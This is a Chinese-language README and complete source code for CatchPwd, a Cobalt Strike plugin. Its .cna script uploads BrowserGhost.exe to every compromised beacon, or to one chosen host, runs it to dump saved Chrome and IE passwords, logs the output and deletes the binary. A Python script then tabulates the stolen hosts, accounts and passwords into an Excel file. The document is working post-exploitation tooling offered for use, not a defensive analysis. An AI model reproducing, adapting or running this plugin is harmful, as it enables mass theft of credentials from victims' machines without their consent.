一个用于抓取浏览器密码的cna插件
CatchPwd
抓取主机浏览器账户密码的CS插件,能够在CS中批量抓取上线主机密码并保存为Excel文件
一、组成
-
CatchPwd.cna -> 插件部分,包含CS用户交互,BrowserGhost.exe下载运行,保存日志和卸载功能
-
BrowserGhost.exe -> 抓取浏览器密码软件,能够在Windows主机上运行,支持Google和IE浏览器
-
log2exl.py -> excel转换脚本,将CatchPwd保存的日志导出为Excel表格
二、使用
(一)加载插件
在CS中加载插件CatchPwd.cna
(二)配置文件
在CS主目录下新建文件夹script,将BG.exe和log2exl.py放入script文件夹
(三)抓取密码
1.两种使用方式
批量抓取和单个抓取
2.批量抓取
-
菜单栏Help->Catch Browser Password
-
Start Catching -> 下载BG抓取密码,抓取完成后会提示Successful
-
Stop Cathcing -> 卸载BG并保存log,抓取完成后必须点击Stop Cathcing
-
Export Password as Excel -> 运行python脚本导出Excel密码表,弹出对话框会让输入保存Excel的路径,默认在CS主目录下的Scrip文件夹
3.单个抓取
- 右键目标主机->Catch Browser Password
- Start Catching
- Stop Catching
(四)查看密码表
- CS主目录/saved_logs -> 保存BG生成的日志文件
- CS主目录/script/format.txt -> 保存格式化的日志文件
- CS主目录/script/passwd_xxxx_xxxx.xls -> 导出的Excel密码表
三、小记
优点:Lazagne编译为exe后有10M,相比下BrowserGhost.exe软件不到百K,上传速度快
缺点:需要主机安装.netframework才能运行BG.exe,抓取密码类型没有Lazagne丰富
cna插件代码
popup help{
menu "Catch Browser Password"{
item "Start Catching"{
foreach $entry (beacons()) {
$bid = $entry['id'];
blog($bid, "===============================Start Catching=================================\n");
binput($bid , "sleep 0");
bupload($bid, "script/BrowserGhost.exe");
start_log($bid);
gather_info($bid);
run_browser_ghost($bid);
}
}
item "Stop Catching"{
foreach $entry (beacons()) {
$bid = $entry['id'];
stop_log($bid);
del_browser_ghost($bid);
blog($bid, "----------------------------------End Catching-----------------------------------\n");
binput($bid , "sleep 60");
}
}
item "Export Password as Excel"{
if (!-exists "./saved_logs/" ) {
show_message("[Error] No passwords find!");
return;
}
$info = dialog("Wait Input!", %(directory => "./script"), &store_excel);
drow_text($info, "directory", "Please input the directory you want to store password excel!\n");
dbutton_action($info, "Start store password as excel!");
dialog_show($info);
}
}
}
popup beacon_bottom{
menu "Catch Browser Password"{
item "Start Catching"{
blog($1, "===============================Start Catching=================================\n");
binput($1, "sleep 0");
bupload($1, "script/BrowserGhost.exe");
start_log($1);
gather_info($1);
run_browser_ghost($1);
}
item "Stop Catching"{
stop_log($1);
del_browser_ghost($1);
blog($1, "----------------------------------End Catching-----------------------------------\n");
binput($1 , "sleep 60");
}
}
}
sub store_excel{
$stamp = formatDate("yyyyMMdd_HHmmss");
#show_message("python3 ./script/log2exl.py" . " -o " . $3["directory"] . " -t " . $stamp);
exec("python3 ./script/log2exl.py" . " -o " . $3["directory"] . " -t " . $stamp);
$excel_file = $3["directory"] . "/passwd_" . $stamp . ".xls";
show_message("Successfully generate password excel in " . $excel_file);
#if (!-exists $excel_file ) { ##How to wait 3 seconds
# show_message("[Error] Failed to generate passsword excel in " . $excel_file);
#}
#else {
# show_message("Successfully generate password excel in " . $excel_file);
#}
}
sub gather_info{
blog($1, "[host]: ")
blog($1, beacon_info($1, "internal") . " -> ");
blog($1, beacon_info($1, "computer") . " -> ");
blog($1, beacon_info($1, "user") . " -> ");
blog($1, beacon_info($1, "os") . "\n");
}
sub run_browser_ghost{
bshell($1, "BrowserGhost.exe");
}
sub del_browser_ghost{
bshell($1, "del /f /s /q BrowserGhost.exe");
}
############## logging start############
### Output ###
##cobaltstrike/saved_logs/[beacon id]_yyyyMMdd_HHmmssSSS.log
global('%logging');
on beacon_output {
if ( %logging[$1] ) {
writeb(%logging[$1], $2);
}
}
sub start_log {
blog($bid, "==========Start logging======\n");
if ( %logging[$1] ) { #check if already logging
#berror($1, "Logging already started on this beacon.");
return;
}
if (!-exists "./saved_logs/" ) { #check if saved_logs exists
mkdir("./saved_logs"); #create otherwise
}
$filepath = "./saved_logs/" . $1 . "_" . formatDate("yyyyMMdd_HHmmssSSS") . ".log"; #one file for one beacon
#$filepath = "./saved_logs/" . formatDate("yyyyMMdd_HHmmssSSS") . ".log"; #one file for all beacons
if (!-exists $filepath) { #create and save handle to log
createNewFile($filepath);
blog($1, "===========Saving logs to " . $filepath . "===========\n");
%logging[$1] = openf(">" . $filepath);
}
}
sub stop_log {
blog($bid, "-----------Stop logging---------\n");
if ( !%logging[$1] ) { #check if actually logging
berror($1, "Logging not started on this beacon.");
return;
}
closef(%logging[$1]); #close handle and delete key
removeAt(%logging, $1);
blog($1, "======Now run python in script direcory to resolve logs to excel======\n");
}
################ logging end ###############
log2exl代码
# !/usr/bin/env Python
# coding=utf-8
import xlwt
import os
import chardet
import codecs
import time
import argparse
def convert_file_to_utf8(filename):
# !!! does not backup the origin file
content = codecs.open(filename, 'r').read()
content = bytes(content, encoding='utf-8')
source_encoding = chardet.detect(content)['encoding']
if source_encoding == None:
print ("Can't know ", filename, " encoding type")
return
#print (filename, "encoding type: ", source_encoding)
if source_encoding != 'utf-8' and source_encoding != 'UTF-8-SIG':
content = content.decode(source_encoding, 'ignore') #.encode(source_encoding)
codecs.open(filename, 'w', encoding='UTF-8-SIG').write(content)
def convert_dir_to_utf8(direcotry):
if not os.path.exists(direcotry):
print ("[error] direcotry: ", direcotry, "not exists!")
return
for file in os.listdir(direcotry):
file_path = os.path.join(direcotry, file)
if not os.path.getsize(file_path):
continue
convert_file_to_utf8(file_path)
def format_txt(direcotry, format_file):
with open(format_file, "w+") as fpx:
for file in os.listdir(direcotry):
print (file)
file_path = os.path.join(direcotry, file)
if not os.path.isfile(file_path):
continue
if not os.path.getsize(file_path):
continue
with open(file_path, 'r+') as fp:
for line in fp.readlines():
try:
if "[host]: " in line:
host_content = line.split("[host]: ")[-1].strip()
host_ip = host_content.split(" -> ")[0].strip()
host_pc = host_content.split(" -> ")[1].strip()
host_usr = host_content.split(" -> ")[2].strip()
host_os = host_content.split(" -> ")[3].strip()
if "[user]: " in line:
domain_usr = line.split("[user]: ")[-1].strip()
if "[browser]: " in line:
browser = line.split("[browser]: ")[-1].strip()
if "[password]: " in line:
pwd_content = line.split("[password]: ")[-1].strip()
pwd_url = pwd_content.split(" -> ")[0].strip()
pwd_account = pwd_content.split(" -> ")[1].strip()
pwd_password = pwd_content.split(" -> ")[2].strip()
fpx.write(host_ip + ", " + host_pc + ", " + host_usr + ", " + host_os + ", " + domain_usr + ", " + browser + ", " + pwd_url + ", " + pwd_account + ", " + pwd_password + "\n")
except:
pass
def log_xls(filename,xlsname):
try:
f = open(filename, encoding = "UTF-8")
xls=xlwt.Workbook()
sheet = xls.add_sheet('sheet1', cell_overwrite_ok=True)
x = 1
columns_name = ["host_ip", "host_pc", "host_usr", "host_os", "domain_usr", "browser", "pwd_url", "pwd_account", "pwd_password"]
for i, name in enumerate(columns_name):
sheet.write(0, i, name)
while True:
line = f.readline()
if not line:
break
for i in range(len(line.split(','))):
item=line.split(',')[i]
sheet.write(x, i, item)
x += 1
f.close()
xls.save(xlsname)
print ("Successfully transform log to excel: ", xlsname)
except:
raise
if __name__ == "__main__" :
parser = argparse.ArgumentParser('You should add those parameters')
parser.add_argument('-i', '--input', default='./saved_logs', help='the direcory for inputing logs')
parser.add_argument('-o', '--output', default='./', help='the directory for outputing excel')
parser.add_argument('-t', '--stamp', default='123456', help='the time stamp for outputing excel')
args = parser.parse_args()
log_dir = args.input
xls_file = args.output + "/passwd_" + args.stamp + ".xls"
convert_dir_to_utf8(log_dir)
format_txt(log_dir, "./format.txt")
log_xls("./format.txt", xls_file)